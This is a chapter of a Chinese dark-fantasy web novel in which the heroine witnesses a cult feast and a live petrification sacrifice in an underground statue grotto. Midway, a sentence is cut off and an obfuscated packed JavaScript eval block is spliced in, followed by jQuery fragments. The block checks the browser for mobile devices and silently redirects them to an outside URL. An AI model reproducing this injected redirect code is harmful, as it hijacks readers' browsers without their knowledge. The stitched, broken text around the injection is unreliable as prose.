数不清的雕塑挤满了狭窄的洞窟，一直延伸到目光难以穿透的黑暗深处。它们带来的并非美感，而是令人窒息的恐惧。
目光被牵引盯着那些雕像的眼睛，太真了，真得不似雕琢，就像真正的眼球一样，有瞳孔，甚至连睫毛都根根分明。
一个毁灭的帝国，竟将技艺与偏执挥霍于此，慕幸感到十分荒谬，古希腊的神像与之相比，也显得质朴了。
除了雕像，还有不少男女老少前来迎接，她们半跪着，纹丝不动，与身后的雕像几乎融为一体。
空气浑浊滞重，弥漫着尘土与一种类似陈旧血液的甜腥味，慕幸一阵头晕。
一个可怕的念头闪电般刺入脑海，这些雕像不会是活人吧，否则怎么会这么逼真。
“这是我们的祭坛，也是王朝复起的根基。”陈叔向易希解释道，语调里有一种狂热的虔诚。
慕幸心里很想问，这到底祭祀的什么，但她话到嘴边问不出来，有种浑身发麻的滋味。
不会吧！
难道自己就是祭品！
这个想法瞬间盘踞了她的大脑。这一路上，陈叔和小满都没和自己说过一句话，那种对她彻底无视的态度，此刻有了令人毛骨悚然的解释。
她紧紧地盯着易希的脸，那双深不见底的眼睛死死地盯着雕塑形象的中央，似乎有什么东西吸引着他。
而后心魔深深的呼了一口气，露出了贪婪而满意的表情。
“今晚有一场小型祭祀，为您的归来接风。两位先休息一下，再来参加。”陈叔的眼睛盯着易希。
“哦，好！”易希恍然回神，仓促应道。
“你不会猜到了吧？祭品！”心魔用只有慕幸能听到的声音在她的耳边盘旋，这样的挑逗似乎让他很开心。
“不过有点无趣的是，少主是个小女娃，我不大喜欢那样的身体，本来可以送你和易希一起殉情的。不过么，”他话锋一转，带着戏弄，“我也可能改主意。你老实点。”
慕幸没有回应，她没什么可说的，能救她的人，都被她拒之墙外。
“阿慕！走吧！”易希拦起慕幸的肩膀。
慕幸想挣脱，在这地方扮演恩爱的情侣真没意思，没人会觉得两人有感情！
“年轻人就是心急。”心魔的絮语再度响起，此刻它似乎兴致很高，话也多了起来，“好好听我的安排。”
慕幸只能跟上。她强迫自己平视前方，盯着虚空。狄刀他们……应该已经离开了吧？
也好明天成为祭品，一切就结束了。
可是自己死了，他真的会放过夏侯葵他们吗？
杀了他！
杀了他！
杀了他！
……
上百个诡异的念头在慕幸的脑海里炸开，就像你埋藏之前那些灵魂一般。
但易希还没死，她下不去手的，他还算是个好人。
她捏紧了露莎卡留给她的贝壳，不对，这是留给夏侯葵的贝壳。
“吃饭！吃饭！”
突兀的呼喊声打断了她的混乱。
慕幸茫然四顾，发现自己不知何时已坐在一张低矮的石桌旁。椅子很小，没有靠背，显然是临时添置的客位。
同样局促的，还有她身旁一位穿着素白麻衣的年轻男子。他脸色苍白，眼神躲闪，身体微微发抖。
石屋里除了陈叔、小满和易希，便只有这陌生男子。
“上肴！上肴！”那莫名的、仿佛直接响在脑子里的催促声又来了。
几盘菜肴被端上桌，色泽诡异，形态粘稠，散发着难以名状的气味。
“主菜！主菜！”
一个系着陈旧围裙、眼神空洞的妇人，端上一个巨大的石盘，盘上盖着雕刻扭曲纹路的石板。
石板打开了，是土！全是土！
湿的土！干的土！白的土！黑的土！
没法吃啊！
吃啊！快吃啊！强烈的、不属于她的欲望猛然攫住了慕幸的意志。她的手不受控制地伸出，抓起一把潮湿冰冷的泥土，塞向嘴边！
咽不下去……要窒息了！泥土仿佛有了生命，往她喉咙里钻！
吐出来！快吐出来！灵魂在尖叫。
“呕——！”
幸亏……她是御土者。泥土听从了她本能深处更强烈的抗拒，混合着胃液猛地翻涌而出，砸在地上，变成一团污秽暗红的泥浆。
慕幸剧烈咳嗽着，冷汗浸透后背，神智在呕吐的刺激下获得片刻清明。她看向餐桌，除了那白衣男子，其他人面前的食物丝毫未动。
那男子面色已从苍白转为骇人的青灰，双手捂着脖子，喉咙里发出可怕的干呕声，身体开始抽搐。
“快吐啊！会死的！”慕幸冲过去，已经顾不上别的什么了，她拼命拍着对方的后背。
“他必须吃下归源之土，这是今夜祭礼的一部分。”陈叔面无表情地从怀中取出一卷泛黄的布条，看样子准备上前封住男子的嘴，“易希，让你的人安分些。”
慕幸被易希从身后猛地钳住双臂，动弹不得。
“别闹。”他贴着她耳边低语，声音里带着心魔特有的冰冷戏谑，“你难道想第一个被祭祀吗？”
慕幸刚清醒的神智，瞬间又模糊了。
难道是心魔在侵蚀我的心智吗？慕幸心里想。
可是他怎么可能会想让我杀了他。
白衣男子嘴上的布条在不断挣扎中变得松散。
不，得救他！慕幸心底蓦地涌起一股强烈的冲动。
吐出来！快吐出来！她集中残存的意念，拼命命令男子体内的泥土！
“噗——！”
男子猛地前倾，大口大口地吐出混杂着胃液与黑色秽物的泥浆，喷溅了陈叔和小满一身。
“啪！”
一记极其响亮的耳光狠狠抽在男子脸上。动手的是小满，此刻她脸上毫无怯弱或忧伤，只有一种居高临下的威严。
“不知好歹。”她开口，声音清脆，“能成为基石，是你的福分。”
周遭的景象似乎扭曲了一瞬，时空感错位。当慕幸重新聚焦视线时，发现自己又置身于那令人窒息的雕塑群中。仿佛刚才的石屋用餐只是一段被强行插入的间奏，而主旋律始终是这片雕像墓园。
慕幸看着眼前等待着祭祀开始的人们脸上都挂着怪异的喜悦，他们嘴角上扬的弧度相似，眼中闪烁着同一种空洞而满足的光芒，仿佛即将见证的不是牺牲，而是某种无上的恩典。
到底通过祭祀，他们能获得什么。
慕幸几人被引向雕像群更深处。越是往里走，空气越发凝滞，一种低频的震动从脚下传来，仿佛大地深处有一颗巨大的心脏。
两侧跪伏的人群更多了，他们穿着统一的灰白麻衣，低垂的头颅角度都惊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099895|187360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人地一致，口中发出含糊不清的音节，汇成一片令人心烦意乱的噪音。
慕幸感到耳鸣加重，太阳穴突突直跳，那些钻进她脑海的诡异念头似乎被这环境放大了。她紧紧攥着贝壳，粗糙的触感成了她与现实仅存的脆弱锚点。
终于，他们来到了地下城的中央。这里是一个天然形成的圆形穹顶空间，比之前任何地方都要宽阔。穹顶之下，是一个深不见底、缓缓旋转的黑暗漩涡。它寂静无声，却散发着比心魔凝视更甚百倍的深渊气息。
只一眼，慕幸便感到灵魂都要被吸进去，一种源自生命本能的、由衷的恐惧让她猛地扭开头，冷汗瞬间浸透后背。
围绕着这可怖的漩涡边缘，是一圈相对平整的石台。而石台外侧，矗立着数十尊比入口处更为“新鲜”的雕塑。它们保持着各种姿势，跪拜、祈祷、挣扎、仰望。慕幸甚至看到一尊雕塑的眼角，似乎还凝结着一滴石化的泪痕。
“时辰已到，开始吧。”陈叔走到漩涡边缘，声音不高，却带着一种不容置疑的权威与冰冷的神性。
白衣男子被两个仆从拖拽着，带到漩涡旁的石台上，正对着陈叔。男子连哀求的力气都没有了，只是瘫软着，眼神涣散地看着那深不见底的漩涡。
陈叔没有吟唱冗长的咒文。他只是缓缓抬起双手，掌心对准了台上的男子，眼神专注而空洞。
慕幸感到周围的诵念声诡异地低了下去，变成一种屏息般的期待。漩涡似乎旋转得稍微快了一线，一股无形的、粘稠的力场以陈叔为中心弥漫开来。
变化发生了。
他的脚踝、小腿，皮肤逐渐失去血色和纹理，泛起一种死寂的灰白色，如同风化的岩石。
男子猛地抽搐了一下，他低下头，惊恐无比地看着自己的双腿一点点失去知觉，变成无法挪动的石头。
陈叔面无表情，掌心微微调整方向，那石化痕迹蔓延的速度似乎随着他意念的集中而略有加快，已经越过了膝盖，向大腿侵蚀。
“看，这就是祭祀。”心魔的声音在慕幸耳畔响起，“陈忠臣的点石成金，他把活生生的血肉，点成永恒的寂静。两三天，大概？意识会一直被囚禁在这石头棺材里，感受着生命一寸寸冷却。这缓慢的绝望，才是父神喜欢的佳酿。”
“父神？”难道心魔他们都是一伙的？不行，不行，这是邪教！
一个供奉着父神、由傀儡运作、以活人石化献祭的深渊邪教！
如果自己死了，那么狄刀他们呢？夏侯葵、武昂……他们会怎么样？
“不……不能……”慕幸破碎的抽噎哽在喉咙里。她猛地抬起泪眼模糊的脸，看向祭台。那尊新雕塑的石化进程还未完全结束。
一个疯狂、毫无胜算的念头攥住了她，阻止它！就算救不了他，至少不能让这仪式完成得如此完美！
“啊——！”她发出一声不似人声的嘶喊，不知从哪里爆发出最后一股力气，猛地挣脱了心魔并未全力的钳制，像一枚绝望的子弹，朝着那尊正在完成的活体雕塑扑去！
她不知道自己想做什么。或许是想推开他，或许是想用自己微薄的御土能力干扰那石化进程，或许只是单纯地想要证明自己没有变成恐怖仪式的帮凶。
然而，她的手指甚至没能触及那灰白色的袍角。
砰！
一股无形却沛然的力量，仿佛一堵钢墙，狠狠撞在她的胸口。